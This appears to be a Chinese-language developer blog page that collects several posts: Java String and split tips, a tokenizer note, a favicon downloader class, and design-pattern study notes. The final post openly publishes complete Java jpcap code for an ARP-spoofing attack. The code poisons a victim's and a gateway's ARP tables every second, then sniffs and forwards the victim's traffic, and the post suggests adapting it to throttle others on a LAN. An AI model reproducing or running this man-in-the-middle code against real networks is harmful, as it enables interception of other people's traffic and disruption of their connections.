Taste of String

String is always a popular topic in java. Beyond all question String is an object type. But sometimes it seems like a basic data type. Many website emphasize we should identify between one situation when we use String a = “abc” and the other when String a = new String(“abc”).

Why I say String sometimes looks like a basic data type. Let’s see a simple example first:

Continue reading Taste of String

How to insert a new word into imdict-chinese-analyzer(智能中文分词模块)

这不是一篇讲述Vekou的文章,但和Vekou的关系相当紧密。

在上一篇文章中提到还有一个很重要的问题没有说清楚,其实就是关于Vekou底层所涉及到的中文分词器imdict-chinese-analyzer,如果理解了Vekou 高级使用中谈到Vekou内部是如何工作的以后,就知道如果Vekou遇到一个从来未见过的新词,就算向zhy.dict添加一个这个新词,如果在分词阶段没有把这个词正确划分,Vekou就不能像一个词一样把它读出啦,听上去依然像一个字一个字地读。所以,要让Vekou正确识别一个词,有两个条件必须具备:

  1. 必须让中文分词器划分出这个词,即分词器字典中存在这个词
  2. Vekou中的粤语发音字典中(zhy.dict)也要存在这个词

Continue reading How to insert a new word into imdict-chinese-analyzer(智能中文分词模块)

Vekou 高级使用

没有实现time scaling与pitch scaling是一个遗憾,特别是pitch scaling比较难实现,如果学了数字信号处理那应该是很easy的事,听说是要用到DFT的,准确来说是频域上移频,我借了几本书回来,等我刨完那些书以后在写应该就没问题了。time scaling主要是现在没时间写,原理是在音频流中插帧,在原本的两个帧之间插入一个左右帧的平均帧,递归插,需要延长多少时间就插多少,这个功能我一有时间就一定去实现。

怎么说,没有了这两个功能语音合成就好像成了鸡肋,当然最主要的还是如何处理初始音频流,使它的发音尽量接近人类的声音。

本篇文章会从Vekou的结构说起,到基本的配置,到你应该如何自定义一个音频流处理器,统统都会说到的。

Continue reading Vekou 高级使用

Obtain favicon.ico from any website

使用wordpress构建的博客在首页的展示链接是可以在链接前加上一个图标,这个图标不能太大,否则看上去很不雅观,其实最好的选择就是通常访问一个网站时在地址栏会出现代表该网站的一个图标,通常我们称之为”favicon”.

今天也发现Google Reader可以在订阅前面直接显示网站的favicon

其实要获取某个网站的favicon并不困难,这个文件或者是在网站根目录下,或者是在<head>中的<link>标签所指的href的路径下,总之是一个.ico的文件。例如http://www.ibm.com/developerworks/cn/java/的favicon url地址为http://www.ibm.com/favicon.ico,而http://www.liferay.com/web/shuyang.zhou/profile的favicon url地址通过查看源文件可以看到是http://cdn.www.liferay.com/osb-theme/images/liferay.ico

为了过把瘾,写了一个类来把任意一个网站的favicon下载到本地,下面简单简单介绍:

为了将来下载的通用性,DownloadTookit类并不局限于下载favicon.ico,你可以使用它来从网络下载任意一个使用http协议的文件,该类的构造方法如下:

public DownloadTookit(Proxy proxy, String fileName) {
this.proxy = proxy;
this.fileName = fileName;
}

考虑到URL类里面有一个方法
URLConnection java.net.URL.openConnection(Proxy proxy) throws IOException
所以不如将DownloadTookit设置成可以使用代理的,那当有一些文件需要代理才能下载时,仍然可以使用这个类来下载,这就方便多了,不过大多数情况下你不需要使用代理,可以在上述方法中传入Proxy.NO_PROXY来指明不使用代理方式,就如我在测试类中的情况一样。

另外DownloadTookit中还包含了两个额外的方法:
public URL getRootDirectory(URL webURL) throws MalformedURLException
和一个针对获取favicon的特殊方法
public URL getFaviconURL(URL webURL) throws MalformedURLException,这个方法首先测试在站点根目录下是否存在一个名为favicon.ico的文件,如果不存在,则通过调用ReadHttpDocument类的
public List<String> getUnestedTags(String match) throws IOException
方法获得源文件中所有的<link>标签元素,逐个查看里面是否有一个href指向一个.ico的文件,如果存在,则这个地址即是favicon的存在路径!

public void obtainResource(URL resourceURL) throws IOException
是主要进行资源获取的方法,传入url就可以将资源下载到构造方法所传入的本地地址。

其实Apache的已经有一个HttpClient可以做到ReadHttpDocument的功能,不过想到只不过要取得一个link标签,还是尽量不要惊动太上老君,自己动手写了一个很简陋,但仍然满足要求的类来做到这件事。
根据html  document中的各种元素是否可以嵌套,这个类总共可以被调用的方法有两个,一个是上面已经讲到的,用来获取不可嵌套的元素,参数为一个属于不可嵌套的标签名作为匹配字符串。另一个用于获取可以嵌套的元素,我的这个方法并没有实现,想必需要用到堆栈,与本文所讨论的问题并没有很大关联,有时间再来完成。
其中最主要的方法如下:

/**
	 * 获得文档中所有类似的不可嵌套的标签对
	 *
	 * @param match
	 *            匹配模式
	 * @return 与匹配模式一致的标签对组
	 * @throws IOException
	 */
	public List getUnestedTags(String match) throws IOException {
		List list = new ArrayList();
		int beginIndex = -1, endIndex = -1;
		String obtainStr = null;

		while ((obtainStr = br.readLine()) != null || sb.length() &gt; 0) {
			if (obtainStr != null) {
				sb = sb.append(obtainStr);
			}
			if ((beginIndex = sb.indexOf(getStartTag(match))) != -1) {
				while ((endIndex = getUnestedEndTagIndex(sb, match)) == -1) {
					if ((obtainStr = br.readLine()) != null) {
						sb = sb.append(obtainStr);
					} else {// 到达文件尾
						return list;
					}
				}
				list.add(sb.substring(beginIndex, endIndex + 1));
				sb = sb.delete(0, endIndex + 1);
			} else {
				sb.setLength(0);
				continue;
			}
		}
		return list;
	}

测试:
我在测试类中的使用方法如下:

	try {
			DownloadTookit downloadTookit = new DownloadTookit(Proxy.NO_PROXY,
					"D:/favicon.ico");
			downloadTookit
					.obtainResource(downloadTookit
							.getFaviconURL(new URL(
									"http://www.sina.com.cn")));
		} catch (MalformedURLException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		}

有兴趣的同学可以下载src来看下。

现在博客的链接上就有了一点儿的装饰了

You know还在建设期,我在通过不断的改进,希望在这里能给大家带来一些更有用的文章。

大话西游学习笔记

策略模式:策略模式是一种定义一些列算法的方法,从概念上来看,所有的这些算法完成的都是相同的工作,只是实现不同,它可以以相同的方式调用所有的算法,减少了各种算法类与使用算法类之间的耦合关系——策略模式封装了变化!

策略模式就是用类封装算法的,但在实践中,我们可以发现可以用它来封装几乎任何类型的规则,只要在分析过程中听到需要在不同时间应用不同的规则,就可以考虑使用策略模式处理这种变化的可能性。

单一职责原则:就一个类而言,应该仅有一个引起它变化原因——手机不应该有过多的功能,否则就可能会削弱或则抑制它本身完成其职责的能力

1.改进程序结构可以考虑的问题:不同硬件环境下运行(一个核心驱动,与界面层分离)——界面层、逻辑层分离

软件设计真正要做的许多内容,就是发现职责并把那些职责相互分离,其实要去判断是否应该分离出类来,也不难,那就是如果你能后想到多于一个的动机去改变一个类,那么这个类就具有多余一个的职责。在编程时,我们是要在类的职责分离上多思考,做到单一职责,这你的代码才是真正的易维护、易扩展、易复用、灵活多样。

考研求职两不误——开放——封闭原则

这里研究的问题其实就是:怎样的设计才能面对需求的改变却可以保持相对稳定,从而使得系统可以在第一个版本以后不断推出新的版本呢?

其实员工迟到不是主要的问题,每天保证8小时的工作量是老板最需要的,甚至8小时工作时间也不是主要问题,业绩目标的完成或超额完成才是最重要的指标,于是应该改变管理方式,比如,弹性上班工作制,早到早下班,晚到晚下班,或者没人每月允许三次迟到,迟到之恶当天下班补时间等等,对市场销售人员可能就更加以业绩为标准,工作时间不固定了——这其实就是对工作时间或业绩成效的修改关闭,而对时间制度扩展的开放。

这就需要老板自己很清楚最希望达到的目的是什么,制定的制度才最合理有效。

用古人的理论来说,管理需要中庸之道!

开放——封闭原则的意思就是说,你设计的时候,时刻要考虑,尽量让这个类是足够好,写好了就不要去修改了,如果新的需求来,我们增加一些类就完事了,原来的代码能不动则不动。

2.改进程序可以考虑的角度:能否在业务中增加一些类似的功能

“开放——封闭原则”的精神所在:面对需求,对程序的改动是通过增加新代码进行的,而不是更改现有的代码。

对原则性目标性的问题应该雷打不动的,在不影响原则问题的时候,可以对外开放,这就是对扩展的开放新,对修改关闭的意义。

对痛苦关闭,对快乐开放

第五章:会修电脑不会修收音机?——依赖倒转原则

依赖倒转原则:要针对接口编程,不要对实现编程。

i.             高层模块不应该依赖低层模块。两个都应该依赖抽象。

ii.            抽象不应该依赖细节,细节应该依赖抽象。

CPU、内存,硬盘都是针对接口进行设计的,封装了内部的复杂性,但是要考虑到,如果主板坏了,那么CPU、内存或者硬盘所有部件都没用了这显然就不合理。例如数据库的连接设计是可以更换的。反过来,如果内存坏了,也不应该造成其他部件不能用才对。

——上面的问题的结论就是:不管高层模块还是低层模块,它们都依赖于抽象,具体一点就是接口或者抽象类,只要接口是稳定的,那么任何一个的更改都不用担心其他受到影响,这就使得无论高层模块还是低层模块都可以很容易地被复用,这才是最好的办法。

依赖倒转其实可以说是面向对象设计的标志,用那种语言来编写程序不重要,如果编写时考虑的都是如何针对抽象编程而不是针对细节编程,即程序中所有的依赖关系都是终止与抽象类或者接口,那就是面向对象的设计,反之那就是过程化的设计了。

第六章:穿什么有这么重要?——装饰模式

穿着顺序是很讲究的,比如说,先穿外裤再穿内裤,这叫凡人,内裤穿到外裤外面,那就是超人了。

Java split的注意点

总结Java中使用split分隔字符串

1、转义字符 “” 转义字符进行分隔时,需要将转义字符再转义一次,也就是”\”

2、正则表达式字符

public class Test {   
    public static void main(String[] args) {   
       String str = "a|b";   
       System.out.println(str.split("|").length);   
    }   
}   

由于|属于正则表达式字符,split的参数也是正则表达式,这里 得到的结果是 4,修改”|”为”[|]”,得到的结果为2

从上面的结果我们可知,像replaceAll这类函数代替换字符为正则表达式字符时同样加上”[]”进行replace.

公布ARP攻击原理及代码

第一部分:

import java.net.Inet4Address;
import java.net.InetAddress;
import java.util.Arrays;

import jpcap.*;
import jpcap.packet.*;

public class ARP {
 public static byte[] arp(InetAddress ip) throws java.io.IOException{
  //find network interface
  NetworkInterface[] devices=JpcapCaptor.getDeviceList();
  NetworkInterface device=null;

loop: for(NetworkInterface d:devices){
   for(NetworkInterfaceAddress addr:d.addresses){
    if(!(addr.address instanceof Inet4Address)) continue;
    byte[] bip=ip.getAddress();
    byte[] subnet=addr.subnet.getAddress();
    byte[] bif=addr.address.getAddress();
    for(int i=0;i<4;i++){
     bip[i]=(byte)(bip[i]&subnet[i]);
     bif[i]=(byte)(bif[i]&subnet[i]);
    }
    if(Arrays.equals(bip,bif)){
     device=d;
     break loop;
    }
   }
  }
  
  if(device==null)
   throw new IllegalArgumentException(ip+" is not a local address");
  
  //open Jpcap
  JpcapCaptor captor=JpcapCaptor.openDevice(device,2000,false,3000);
  captor.setFilter("arp",true);
  JpcapSender sender=captor.getJpcapSenderInstance();
  
  InetAddress srcip=null;
  for(NetworkInterfaceAddress addr:device.addresses)
   if(addr.address instanceof Inet4Address){
    srcip=addr.address;
    break;
   }

  byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
  ARPPacket arp=new ARPPacket();
  arp.hardtype=ARPPacket.HARDTYPE_ETHER;
  arp.prototype=ARPPacket.PROTOTYPE_IP;
  arp.operation=ARPPacket.ARP_REQUEST;
  arp.hlen=6;
  arp.plen=4;
  arp.sender_hardaddr=device.mac_address;
  arp.sender_protoaddr=srcip.getAddress();
  arp.target_hardaddr=broadcast;
  arp.target_protoaddr=ip.getAddress();
  
  EthernetPacket ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  ether.src_mac=device.mac_address;
  ether.dst_mac=broadcast;
  arp.datalink=ether;
  
  sender.sendPacket(arp);
  
  while(true){
   ARPPacket p=(ARPPacket)captor.getPacket();
   if(p==null){
    throw new IllegalArgumentException(ip+" is not a local address");
   }
   if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
    return p.sender_hardaddr;
   }
  }
 }
  
 public static void main(String[] args) throws Exception{
  if(args.length<1){
   System.out.println("Usage: java ARP <ip address>");
  }else{
   byte[] mac=ARP.arp(InetAddress.getByName(args[0]));
   System.out.println(mac);
   for (byte b : mac)
    System.out.print(Integer.toHexString(b&0xff) + ":");
   System.out.println();
   System.exit(0);
  }
 }
}

第二部分:

import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.Packet;

public class SnifferPacketsDemo {

 private NetworkInterface[] devices; // 设备列表
 private NetworkInterface device; // 要使用的设备
 private JpcapCaptor jpcap; // 与设备的连接
 private JpcapSender sender; // 用于发送的实例
 private ARPPacket arpTarget, arpGate;
 private byte[] targetMAC, gateMAC; // B的MAC地址,网关的MAC地址
 private String targetIp, gateIp; // B的IP地址,网关的IP地址

 /**
  *初始化设备 JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic dialup
  * adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
  * 注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
  * JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
  * 虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分 配给虚拟网卡,也就是说在程序中调用device.
  * mac_address时得到的是00 00 00 00 00 00。
  */
 private NetworkInterface getDevice() throws IOException {
  devices = JpcapCaptor.getDeviceList(); // 获得设备列表
  device = devices[1]; // 只有一个设备
  jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); // 打开与设备的连接
  jpcap.setFilter("ip", true); // 只监听B的IP数据包
  sender = jpcap.getJpcapSenderInstance();
  return device;
 }

 /**
  *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一 段时间就发一次包重新更改B和网关的ARP表。
  * 
  *@参数 targetMAC B的MAC地址,可通过ARP解析得到;
  *@参数 targetIp B的IP地址;
  *@参数 gateMAC 网关的MAC地址;
  *@参数 gateIp 网关的IP;
  */
 public SnifferPacketsDemo(byte[] targetMAC, String targetIp,
   byte[] gateMAC, String gateIp) throws UnknownHostException,
   IOException {
  this.targetMAC = targetMAC;
  this.targetIp = targetIp;
  this.gateMAC = gateMAC;
  this.gateIp = gateIp;
  getDevice();
  arpTarget = new ARPPacket(); // 修改B的ARP表的ARP包
  arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; // 选择以太网类型(Ethernet)
  arpTarget.prototype = ARPPacket.PROTOTYPE_IP; // 选择IP网络协议类型
  arpTarget.operation = ARPPacket.ARP_REPLY; // 选择REPLY类型
  arpTarget.hlen = 6; // MAC地址长度固定6个字节
  arpTarget.plen = 4; // IP地址长度固定4个字节
  arpTarget.sender_hardaddr = device.mac_address /* gateMAC */; // A的MAC地址
  arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); // 网关IP
  arpTarget.target_hardaddr = targetMAC; // B的MAC地址
  arpTarget.target_protoaddr = InetAddress.getByName(targetIp)
    .getAddress(); // B的IP

  EthernetPacket ethToTarget = new EthernetPacket(); // 创建一个以太网头
  ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; // 选择以太包类型
  ethToTarget.src_mac = device.mac_address; // A的MAC地址
  ethToTarget.dst_mac = targetMAC; // B的MAC地址
  arpTarget.datalink = ethToTarget; // 将以太头添加到ARP包前

  arpGate = new ARPPacket(); // 修改网关ARP表的包
  arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; // 跟以上相似,不再重复注析
  arpGate.prototype = ARPPacket.PROTOTYPE_IP;
  arpGate.operation = ARPPacket.ARP_REPLY;
  arpGate.hlen = 6;
  arpGate.plen = 4;
  arpGate.sender_hardaddr = device.mac_address /* targetMAC */;
  arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
  arpGate.target_hardaddr = gateMAC;
  arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();

  EthernetPacket ethToGate = new EthernetPacket();
  ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
  ethToGate.src_mac = device.mac_address;
  ethToGate.dst_mac = gateMAC;
  arpGate.datalink = ethToGate;

  new Thread(new Runnable() { // 创建一个进程控制发包速度
     public void run() {
      while (true) {
       sender.sendPacket(arpTarget);
       sender.sendPacket(arpGate);
       try {
        Thread.sleep(1000);
       } catch (InterruptedException e) {
        e.printStackTrace();
       }
      }
     }
    }).start();
  recP(); // 接收数据包并转发
 }

 /**
  *修改包的以太头,转发数据包 参数 packet 收到的数据包 参数 changeMAC 要转发出去的目标
  */
 private void send(Packet packet, byte[] changeMAC) {
  EthernetPacket eth;
  if (packet.datalink instanceof EthernetPacket) {
   eth = (EthernetPacket) packet.datalink;
   for (int i = 0; i < 6; i++) {
    eth.dst_mac[i] = changeMAC[i]; // 修改包以太头,改变包的目标
    eth.src_mac[i] = device.mac_address[i]; // 源发送者为A
   }
   sender.sendPacket(packet);
  }
 }

 /**
  *打印接受到的数据包并转发
  */
 public void recP() {
  IPPacket ipPacket = null;
  while (true) {
   ipPacket = (IPPacket) jpcap.getPacket();
   System.out.println(ipPacket);
   if (ipPacket.src_ip.getHostAddress().equals(targetIp))
    send(ipPacket, gateMAC);
   // else
   // send(ipPacket, targetMAC);
  }
 }

 public static void main(String[] args) {
  String gateIP = "192.168.1.1";
  String targetIP = "192.168.1.103";
  try {
   byte[] gateMac = ARP.arp(InetAddress.getByName(gateIP));
   byte[] targetMac = ARP.arp(InetAddress.getByName(targetIP));
   new SnifferPacketsDemo(targetMac, targetIP, gateMac, gateIP);
  } catch (UnknownHostException e) {
   e.printStackTrace();
  } catch (IOException e) {
   e.printStackTrace();
  }
 }
}

虽然这是一个小小的demo,希望读者能从此得到一些收获,
相信在此基础上改进程序为局域网限速程序,已不成问题。